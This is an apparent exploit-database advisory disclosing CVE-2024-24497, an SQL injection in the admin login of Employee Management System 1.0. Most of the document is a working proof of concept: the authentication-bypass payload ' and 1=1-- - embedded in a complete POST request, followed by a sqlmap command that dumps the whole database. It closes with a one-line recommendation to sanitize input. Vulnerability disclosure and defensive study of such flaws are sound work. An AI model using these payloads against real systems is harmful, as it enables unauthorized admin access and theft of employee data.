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3.4 KiB
Exploit Title: Employee Management System 1.0 - txtusername and txtpassword SQL Injection (Admin Login)
Date: 2 Feb 2024
Exploit Author: Yevhenii Butenko
Vendor Homepage: https://www.sourcecodester.com
Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
Version: 1.0
Tested on: Debian
CVE : CVE-2024-24497
SQL Injection:
SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.
Affected Components:
/employee_akpoly/Admin/login.php
Two parameters
txtusernameandtxtpasswordwithin admin login mechanism are vulnerable to SQL Injection.
Description:
The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.
Proof of Concept:
Manual Exploitation
The payload ' and 1=1-- - can be used to bypass authentication within admin login page.
POST /employee_akpoly/Admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/login.php
Cookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=
SQLMap
Save the following request to admin_login.txt:
POST /employee_akpoly/Admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
txtusername=admin&txtpassword=password&btnlogin=
Use sqlmap with -r option to exploit the vulnerability:
sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump
Recommendations
When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.